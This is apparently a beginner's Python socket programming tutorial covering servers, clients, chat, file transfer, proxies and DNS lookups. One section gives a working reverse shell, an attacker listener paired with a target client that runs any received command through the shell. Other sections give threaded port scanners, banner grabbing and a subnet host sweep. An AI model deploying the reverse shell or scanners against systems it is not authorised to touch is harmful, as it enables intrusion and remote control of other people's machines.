🔌 Python Socket Programming - Complete Guide#

Socket Programming

📚 Table of Contents#

What are Sockets?
Socket Basics
TCP vs UDP
Creating a TCP Server
Creating a TCP Client
UDP Server and Client
Port Scanner
Chat Application
File Transfer
Reverse Shell
HTTP Server
Socket Options
Non-blocking Sockets
Multi-threaded Server
Practical Projects

1. What are Sockets?#

Socket Concept

Sockets are endpoints for sending and receiving data across a network.

Think of it like a phone call:

Server = Person waiting for calls
Client = Person making the call
Socket = The phone
Port = Phone number

Why Learn Sockets?#

✅ Build network tools
✅ Create chat applications
✅ Make port scanners
✅ Understand how internet works
✅ Security testing & hacking

2. Socket Basics#

Import the Module#

1
import socket

Create a Socket#

1
# TCP Socket
2
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
3

4
# UDP Socket
5
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

Parameters Explained#

Parameter	Meaning
`AF_INET`	IPv4 addresses
`AF_INET6`	IPv6 addresses
`SOCK_STREAM`	TCP (reliable)
`SOCK_DGRAM`	UDP (fast)

Basic Methods#

1
# Server methods
2
sock.bind((host, port))    # Attach to address
3
sock.listen(5)             # Start listening
4
sock.accept()              # Accept connection
5

6
# Client methods
7
sock.connect((host, port)) # Connect to server
8

9
# Both
10
sock.send(data)            # Send data
11
sock.recv(1024)            # Receive data
12
sock.close()               # Close socket

Get Your IP Address#

1
import socket
2

3
# Get hostname
4
hostname = socket.gethostname()
5
print(f"Hostname: {hostname}")
6

7
# Get IP address
8
ip = socket.gethostbyname(hostname)
9
print(f"IP Address: {ip}")
10

11
# Get IP from domain
12
google_ip = socket.gethostbyname("google.com")
13
print(f"Google IP: {google_ip}")

3. TCP vs UDP#

TCP vs UDP

TCP (Transmission Control Protocol)#

✅ Reliable - guarantees delivery
✅ Ordered - data arrives in sequence
✅ Connection-based
❌ Slower
Use for: Web, Email, File transfer

UDP (User Datagram Protocol)#

✅ Fast
✅ No connection needed
❌ No guarantee of delivery
❌ No order guarantee
Use for: Gaming, Streaming, DNS

4. Creating a TCP Server#

Server

Simple TCP Server#

1
import socket
2

3
# Create socket
4
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
5

6
# Allow reuse of address
7
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
8

9
# Bind to address
10
HOST = "0.0.0.0"  # Listen on all interfaces
11
PORT = 9999
12

13
server.bind((HOST, PORT))
14

15
# Start listening (max 5 queued connections)
16
server.listen(5)
17
print(f"[*] Server listening on {HOST}:{PORT}")
18

19
# Accept connections
20
while True:
21
    client_socket, client_address = server.accept()
22
    print(f"[+] Connection from {client_address}")
23

24
    # Receive data
25
    data = client_socket.recv(1024)
26
    print(f"[*] Received: {data.decode()}")
27

28
    # Send response
29
    response = "Message received!"
30
    client_socket.send(response.encode())
31

32
    # Close connection
33
    client_socket.close()

Server with Multiple Messages#

1
import socket
2

3
def start_server(host="0.0.0.0", port=9999):
4
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
5
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
6
    server.bind((host, port))
7
    server.listen(5)
8

9
    print(f"[*] Server started on {host}:{port}")
10

11
    while True:
12
        client, addr = server.accept()
13
        print(f"[+] {addr} connected")
14

15
        # Keep connection open
16
        while True:
17
            try:
18
                data = client.recv(1024)
19
                if not data:
20
                    break
21

22
                message = data.decode().strip()
23
                print(f"[{addr}] {message}")
24

25
                # Echo back
26
                client.send(f"Echo: {message}\n".encode())
27

28
                if message.lower() == "quit":
29
                    break
30

31
            except ConnectionResetError:
32
                break
33

34
        print(f"[-] {addr} disconnected")
35
        client.close()
36

37
if __name__ == "__main__":
38
    start_server()

5. Creating a TCP Client#

Simple TCP Client#

1
import socket
2

3
# Create socket
4
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
5

6
# Connect to server
7
HOST = "127.0.0.1"
8
PORT = 9999
9

10
client.connect((HOST, PORT))
11
print(f"[*] Connected to {HOST}:{PORT}")
12

13
# Send data
14
message = "Hello, Server!"
15
client.send(message.encode())
16

17
# Receive response
18
response = client.recv(1024)
19
print(f"[*] Response: {response.decode()}")
20

21
# Close connection
22
client.close()

Interactive Client#

1
import socket
2

3
def start_client(host="127.0.0.1", port=9999):
4
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
5

6
    try:
7
        client.connect((host, port))
8
        print(f"[*] Connected to {host}:{port}")
9
        print("[*] Type 'quit' to exit\n")
10

11
        while True:
12
            # Get user input
13
            message = input("You: ")
14

15
            if not message:
16
                continue
17

18
            # Send message
19
            client.send(message.encode())
20

21
            if message.lower() == "quit":
22
                break
23

24
            # Receive response
25
            response = client.recv(1024)
26
            print(f"Server: {response.decode()}")
27

28
    except ConnectionRefusedError:
29
        print("[!] Connection refused. Is the server running?")
30
    finally:
31
        client.close()
32
        print("[*] Disconnected")
33

34
if __name__ == "__main__":
35
    start_client()

6. UDP Server and Client#

UDP Server#

1
import socket
2

3
# Create UDP socket
4
server = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
5

6
HOST = "0.0.0.0"
7
PORT = 9999
8

9
server.bind((HOST, PORT))
10
print(f"[*] UDP Server listening on {HOST}:{PORT}")
11

12
while True:
13
    # Receive data and address
14
    data, addr = server.recvfrom(1024)
15
    print(f"[{addr}] {data.decode()}")
16

17
    # Send response
18
    response = f"Received: {data.decode()}"
19
    server.sendto(response.encode(), addr)

UDP Client#

1
import socket
2

3
# Create UDP socket
4
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
5

6
HOST = "127.0.0.1"
7
PORT = 9999
8

9
# Send data (no connection needed!)
10
message = "Hello UDP Server!"
11
client.sendto(message.encode(), (HOST, PORT))
12

13
# Receive response
14
data, server = client.recvfrom(1024)
15
print(f"Response: {data.decode()}")
16

17
client.close()

7. Port Scanner#

Port Scanner

Simple Port Scanner#

1
import socket
2

3
def scan_port(host, port):
4
    """Check if a port is open"""
5
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
6
    sock.settimeout(1)  # 1 second timeout
7

8
    result = sock.connect_ex((host, port))
9
    sock.close()
10

11
    return result == 0  # True if open
12

13
# Scan common ports
14
target = "127.0.0.1"
15
common_ports = [21, 22, 23, 25, 53, 80, 110, 143, 443, 445, 3306, 3389, 8080]
16

17
print(f"Scanning {target}...")
18

19
for port in common_ports:
20
    if scan_port(target, port):
21
        print(f"[+] Port {port}: OPEN")

Advanced Port Scanner with Threads#

1
import socket
2
import threading
3
from queue import Queue
4

5
# Thread-safe print
6
print_lock = threading.Lock()
7

8
def scan_port(host, port):
9
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
10
    sock.settimeout(0.5)
11

12
    result = sock.connect_ex((host, port))
13
    sock.close()
14

15
    if result == 0:
16
        with print_lock:
17
            try:
18
                service = socket.getservbyport(port)
19
            except:
20
                service = "unknown"
21
            print(f"[+] Port {port:5} OPEN  ({service})")
22

23
def worker(host, port_queue):
24
    while True:
25
        port = port_queue.get()
26
        scan_port(host, port)
27
        port_queue.task_done()
28

29
def port_scanner(host, start_port=1, end_port=1024, threads=100):
30
    print(f"\n{'='*50}")
31
    print(f"Scanning {host}")
32
    print(f"Ports: {start_port} - {end_port}")
33
    print(f"{'='*50}\n")
34

35
    # Create queue
36
    port_queue = Queue()
37

38
    # Start threads
39
    for _ in range(threads):
40
        t = threading.Thread(target=worker, args=(host, port_queue))
41
        t.daemon = True
42
        t.start()
43

44
    # Add ports to queue
45
    for port in range(start_port, end_port + 1):
46
        port_queue.put(port)
47

48
    # Wait for completion
49
    port_queue.join()
50
    print(f"\n{'='*50}")
51
    print("Scan complete!")
52

53
if __name__ == "__main__":
54
    target = input("Enter target IP: ")
55
    port_scanner(target, 1, 1024)

1
import socket
2

3
def grab_banner(host, port):
4
    """Get service banner"""
5
    try:
6
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
7
        sock.settimeout(2)
8
        sock.connect((host, port))
9

10
        # Send empty request for some services
11
        sock.send(b"HEAD / HTTP/1.1\r\n\r\n")
12

13
        banner = sock.recv(1024).decode().strip()
14
        sock.close()
15
        return banner
16
    except:
17
        return None
18

19
# Scan and grab banners
20
target = "127.0.0.1"
21
ports = [21, 22, 80, 443]
22

23
for port in ports:
24
    banner = grab_banner(target, port)
25
    if banner:
26
        print(f"Port {port}:")
27
        print(f"  {banner[:100]}...")
28
        print()

8. Chat Application#

Chat Server#

1
import socket
2
import threading
3

4
clients = []
5
nicknames = []
6

7
def broadcast(message):
8
    """Send message to all clients"""
9
    for client in clients:
10
        try:
11
            client.send(message)
12
        except:
13
            remove_client(client)
14

15
def remove_client(client):
16
    """Remove disconnected client"""
17
    if client in clients:
18
        index = clients.index(client)
19
        clients.remove(client)
20
        nickname = nicknames[index]
21
        nicknames.remove(nickname)
22
        broadcast(f"[SERVER] {nickname} left the chat!".encode())
23

24
def handle_client(client):
25
    """Handle individual client"""
26
    while True:
27
        try:
28
            message = client.recv(1024)
29
            if message:
30
                broadcast(message)
31
            else:
32
                remove_client(client)
33
                break
34
        except:
35
            remove_client(client)
36
            break
37

38
def start_server():
39
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
40
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
41
    server.bind(("0.0.0.0", 9999))
42
    server.listen(10)
43

44
    print("[*] Chat Server started on port 9999")
45

46
    while True:
47
        client, address = server.accept()
48
        print(f"[+] {address} connected")
49

50
        # Get nickname
51
        client.send("NICK".encode())
52
        nickname = client.recv(1024).decode()
53

54
        nicknames.append(nickname)
55
        clients.append(client)
56

57
        print(f"[*] Nickname: {nickname}")
58
        broadcast(f"[SERVER] {nickname} joined the chat!".encode())
59
        client.send("[SERVER] Connected to chat!".encode())
60

61
        # Start thread for client
62
        thread = threading.Thread(target=handle_client, args=(client,))
63
        thread.start()
64

65
if __name__ == "__main__":
66
    start_server()

Chat Client#

1
import socket
2
import threading
3

4
nickname = input("Enter nickname: ")
5

6
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
7
client.connect(("127.0.0.1", 9999))
8

9
def receive():
10
    """Receive messages"""
11
    while True:
12
        try:
13
            message = client.recv(1024).decode()
14
            if message == "NICK":
15
                client.send(nickname.encode())
16
            else:
17
                print(message)
18
        except:
19
            print("[!] Connection lost!")
20
            client.close()
21
            break
22

23
def write():
24
    """Send messages"""
25
    while True:
26
        message = input("")
27
        if message.lower() == "/quit":
28
            client.close()
29
            break
30
        client.send(f"[{nickname}] {message}".encode())
31

32
# Start threads
33
receive_thread = threading.Thread(target=receive)
34
receive_thread.start()
35

36
write_thread = threading.Thread(target=write)
37
write_thread.start()

9. File Transfer#

File Server (Sender)#

1
import socket
2
import os
3

4
def send_file(filename, host="0.0.0.0", port=9999):
5
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
6
    server.bind((host, port))
7
    server.listen(1)
8

9
    print(f"[*] Waiting for connection on port {port}...")
10

11
    client, addr = server.accept()
12
    print(f"[+] {addr} connected")
13

14
    # Send filename
15
    client.send(filename.encode())
16

17
    # Wait for acknowledgment
18
    client.recv(1024)
19

20
    # Send file size
21
    filesize = os.path.getsize(filename)
22
    client.send(str(filesize).encode())
23

24
    # Wait for acknowledgment
25
    client.recv(1024)
26

27
    # Send file
28
    with open(filename, "rb") as f:
29
        bytes_sent = 0
30
        while bytes_sent < filesize:
31
            data = f.read(4096)
32
            client.send(data)
33
            bytes_sent += len(data)
34
            print(f"\r[*] Sent: {bytes_sent}/{filesize} bytes", end="")
35

36
    print(f"\n[+] File sent successfully!")
37
    client.close()
38
    server.close()
39

40
if __name__ == "__main__":
41
    send_file("test.txt")

File Client (Receiver)#

1
import socket
2

3
def receive_file(host="127.0.0.1", port=9999):
4
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
5
    client.connect((host, port))
6

7
    print(f"[*] Connected to {host}:{port}")
8

9
    # Receive filename
10
    filename = client.recv(1024).decode()
11
    print(f"[*] Receiving: {filename}")
12
    client.send(b"OK")
13

14
    # Receive file size
15
    filesize = int(client.recv(1024).decode())
16
    print(f"[*] File size: {filesize} bytes")
17
    client.send(b"OK")
18

19
    # Receive file
20
    with open(f"received_{filename}", "wb") as f:
21
        bytes_received = 0
22
        while bytes_received < filesize:
23
            data = client.recv(4096)
24
            f.write(data)
25
            bytes_received += len(data)
26
            print(f"\r[*] Received: {bytes_received}/{filesize} bytes", end="")
27

28
    print(f"\n[+] File saved as: received_{filename}")
29
    client.close()
30

31
if __name__ == "__main__":
32
    receive_file()

10. Reverse Shell#

⚠️ WARNING: For educational purposes only! Only use on systems you own or have permission to test.

Reverse Shell Server (Attacker)#

1
import socket
2

3
def start_listener(host="0.0.0.0", port=4444):
4
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
5
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
6
    server.bind((host, port))
7
    server.listen(1)
8

9
    print(f"[*] Listening on {host}:{port}")
10

11
    client, addr = server.accept()
12
    print(f"[+] Connection from {addr}")
13

14
    while True:
15
        command = input("Shell> ")
16

17
        if command.lower() == "exit":
18
            client.send(b"exit")
19
            break
20

21
        if not command:
22
            continue
23

24
        client.send(command.encode())
25

26
        response = client.recv(65535).decode()
27
        print(response)
28

29
    client.close()
30
    server.close()
31

32
if __name__ == "__main__":
33
    start_listener()

Reverse Shell Client (Target)#

1
import socket
2
import subprocess
3
import os
4

5
def connect_back(host="127.0.0.1", port=4444):
6
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
7
    client.connect((host, port))
8

9
    while True:
10
        command = client.recv(1024).decode()
11

12
        if command.lower() == "exit":
13
            break
14

15
        # Handle cd command
16
        if command.startswith("cd "):
17
            try:
18
                os.chdir(command[3:])
19
                output = f"Changed to: {os.getcwd()}"
20
            except:
21
                output = "Directory not found"
22
        else:
23
            # Execute command
24
            try:
25
                output = subprocess.check_output(
26
                    command,
27
                    shell=True,
28
                    stderr=subprocess.STDOUT
29
                ).decode()
30
            except Exception as e:
31
                output = str(e)
32

33
        if not output:
34
            output = "Command executed (no output)"
35

36
        client.send(output.encode())
37

38
    client.close()
39

40
if __name__ == "__main__":
41
    connect_back()

11. HTTP Server#

Simple HTTP Server#

1
import socket
2

3
def http_server(host="0.0.0.0", port=8080):
4
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
5
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
6
    server.bind((host, port))
7
    server.listen(5)
8

9
    print(f"[*] HTTP Server running on http://{host}:{port}")
10

11
    while True:
12
        client, addr = server.accept()
13

14
        # Receive request
15
        request = client.recv(4096).decode()
16

17
        # Parse request
18
        if request:
19
            method = request.split()[0]
20
            path = request.split()[1]
21
            print(f"[{addr[0]}] {method} {path}")
22

23
            # Create response
24
            html = """<!DOCTYPE html>
25
<html>
26
<head><title>Python HTTP Server</title></head>
27
<body>
28
    <h1>Hello from Python!</h1>
29
    <p>You requested: {}</p>
30
</body>
31
</html>""".format(path)
32

33
            response = f"""HTTP/1.1 200 OK
34
Content-Type: text/html
35
Content-Length: {len(html)}
36
Connection: close
37

38
{html}"""
39

40
            client.send(response.encode())
41

42
        client.close()
43

44
if __name__ == "__main__":
45
    http_server()

12. Socket Options#

1
import socket
2

3
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
4

5
# Reuse address (avoid "Address already in use")
6
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
7

8
# Set timeout (seconds)
9
sock.settimeout(5.0)
10

11
# Keep connection alive
12
sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
13

14
# Set buffer sizes
15
sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 8192)  # Receive buffer
16
sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 8192)  # Send buffer
17

18
# Disable Nagle's algorithm (send immediately)
19
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
20

21
# Get option value
22
value = sock.getsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF)
23
print(f"Receive buffer size: {value}")

13. Non-blocking Sockets#

Using select()#

1
import socket
2
import select
3

4
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
5
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
6
server.setblocking(False)
7
server.bind(("0.0.0.0", 9999))
8
server.listen(5)
9

10
sockets_list = [server]
11
clients = {}
12

13
print("[*] Non-blocking server started")
14

15
while True:
16
    # Wait for activity on any socket
17
    read_sockets, _, exception_sockets = select.select(
18
        sockets_list, [], sockets_list
19
    )
20

21
    for sock in read_sockets:
22
        # New connection
23
        if sock == server:
24
            client, addr = server.accept()
25
            client.setblocking(False)
26
            sockets_list.append(client)
27
            clients[client] = addr
28
            print(f"[+] {addr} connected")
29

30
        # Message from client
31
        else:
32
            try:
33
                data = sock.recv(1024)
34
                if data:
35
                    print(f"[{clients[sock]}] {data.decode()}")
36
                    # Broadcast to others
37
                    for client in clients:
38
                        if client != sock:
39
                            client.send(data)
40
                else:
41
                    # Client disconnected
42
                    print(f"[-] {clients[sock]} disconnected")
43
                    sockets_list.remove(sock)
44
                    del clients[sock]
45
            except:
46
                continue
47

48
    # Handle exceptions
49
    for sock in exception_sockets:
50
        sockets_list.remove(sock)
51
        del clients[sock]

14. Multi-threaded Server#

1
import socket
2
import threading
3

4
class ClientThread(threading.Thread):
5
    def __init__(self, client_socket, client_address):
6
        threading.Thread.__init__(self)
7
        self.client = client_socket
8
        self.address = client_address
9

10
    def run(self):
11
        print(f"[+] Thread started for {self.address}")
12

13
        while True:
14
            try:
15
                data = self.client.recv(1024)
16
                if not data:
17
                    break
18

19
                message = data.decode()
20
                print(f"[{self.address}] {message}")
21

22
                # Echo back
23
                self.client.send(f"Echo: {message}".encode())
24

25
            except ConnectionResetError:
26
                break
27

28
        print(f"[-] {self.address} disconnected")
29
        self.client.close()
30

31
def main():
32
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
33
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
34
    server.bind(("0.0.0.0", 9999))
35
    server.listen(10)
36

37
    print("[*] Multi-threaded server started on port 9999")
38

39
    while True:
40
        client, addr = server.accept()
41
        thread = ClientThread(client, addr)
42
        thread.start()
43

44
if __name__ == "__main__":
45
    main()

15. Practical Projects#

Project 1: Network Discovery Tool#

1
import socket
2
import threading
3
from queue import Queue
4

5
def scan_host(ip):
6
    """Check if host is alive"""
7
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
8
    sock.settimeout(0.5)
9
    result = sock.connect_ex((ip, 80))
10
    sock.close()
11

12
    if result == 0:
13
        try:
14
            hostname = socket.gethostbyaddr(ip)[0]
15
        except:
16
            hostname = "Unknown"
17
        print(f"[+] {ip:15} - ALIVE ({hostname})")
18

19
def network_scan(network="192.168.1"):
20
    """Scan entire network"""
21
    print(f"[*] Scanning {network}.0/24\n")
22

23
    threads = []
24
    for i in range(1, 255):
25
        ip = f"{network}.{i}"
26
        t = threading.Thread(target=scan_host, args=(ip,))
27
        threads.append(t)
28
        t.start()
29

30
    for t in threads:
31
        t.join()
32

33
if __name__ == "__main__":
34
    network_scan("192.168.1")

Project 2: DNS Lookup Tool#

1
import socket
2

3
def dns_lookup(domain):
4
    """Perform DNS lookup"""
5
    print(f"\n[*] DNS Lookup for: {domain}\n")
6

7
    # A Record (IPv4)
8
    try:
9
        ipv4 = socket.gethostbyname(domain)
10
        print(f"IPv4 (A):     {ipv4}")
11
    except:
12
        print("IPv4:         Not found")
13

14
    # All addresses
15
    try:
16
        results = socket.getaddrinfo(domain, None)
17

18
        ipv4_addrs = set()
19
        ipv6_addrs = set()
20

21
        for result in results:
22
            family = result[0]
23
            addr = result[4][0]
24

25
            if family == socket.AF_INET:
26
                ipv4_addrs.add(addr)
27
            elif family == socket.AF_INET6:
28
                ipv6_addrs.add(addr)
29

30
        print(f"\nAll IPv4 addresses:")
31
        for addr in ipv4_addrs:
32
            print(f"  - {addr}")
33

34
        print(f"\nAll IPv6 addresses:")
35
        for addr in ipv6_addrs:
36
            print(f"  - {addr}")
37

38
    except socket.gaierror as e:
39
        print(f"Error: {e}")
40

41
# Test
42
dns_lookup("google.com")
43
dns_lookup("github.com")

Project 3: Simple Proxy Server#

1
import socket
2
import threading
3

4
def handle_client(client_socket):
5
    """Forward requests to destination"""
6
    # Receive request from client
7
    request = client_socket.recv(4096)
8

9
    # Parse the first line to get host
10
    first_line = request.split(b'\n')[0]
11
    url = first_line.split()[1]
12

13
    # Extract host and port
14
    http_pos = url.find(b"://")
15
    if http_pos != -1:
16
        url = url[http_pos + 3:]
17

18
    port_pos = url.find(b":")
19
    host_pos = url.find(b"/")
20

21
    if host_pos == -1:
22
        host_pos = len(url)
23

24
    if port_pos == -1 or port_pos > host_pos:
25
        port = 80
26
        host = url[:host_pos]
27
    else:
28
        port = int(url[port_pos + 1:host_pos])
29
        host = url[:port_pos]
30

31
    # Connect to destination
32
    try:
33
        dest = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
34
        dest.connect((host.decode(), port))
35
        dest.send(request)
36

37
        while True:
38
            data = dest.recv(4096)
39
            if len(data) > 0:
40
                client_socket.send(data)
41
            else:
42
                break
43

44
        dest.close()
45
    except Exception as e:
46
        print(f"Error: {e}")
47

48
    client_socket.close()
49

50
def proxy_server(host="0.0.0.0", port=8888):
51
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
52
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
53
    server.bind((host, port))
54
    server.listen(10)
55

56
    print(f"[*] Proxy server running on {host}:{port}")
57

58
    while True:
59
        client, addr = server.accept()
60
        print(f"[+] Request from {addr}")
61
        thread = threading.Thread(target=handle_client, args=(client,))
62
        thread.start()
63

64
if __name__ == "__main__":
65
    proxy_server()

🎯 Quick Reference#

Function	Description
`socket()`	Create a socket
`bind()`	Bind to address
`listen()`	Start listening
`accept()`	Accept connection
`connect()`	Connect to server
`send()`	Send data
`recv()`	Receive data
`close()`	Close socket
`settimeout()`	Set timeout
`gethostname()`	Get local hostname
`gethostbyname()`	Resolve hostname

🎉 You’re Now a Socket Master!#

Practice by building:

Port scanners
Chat applications
File transfer tools
Network utilities
Security tools

Created by cat0x01 🥷🏻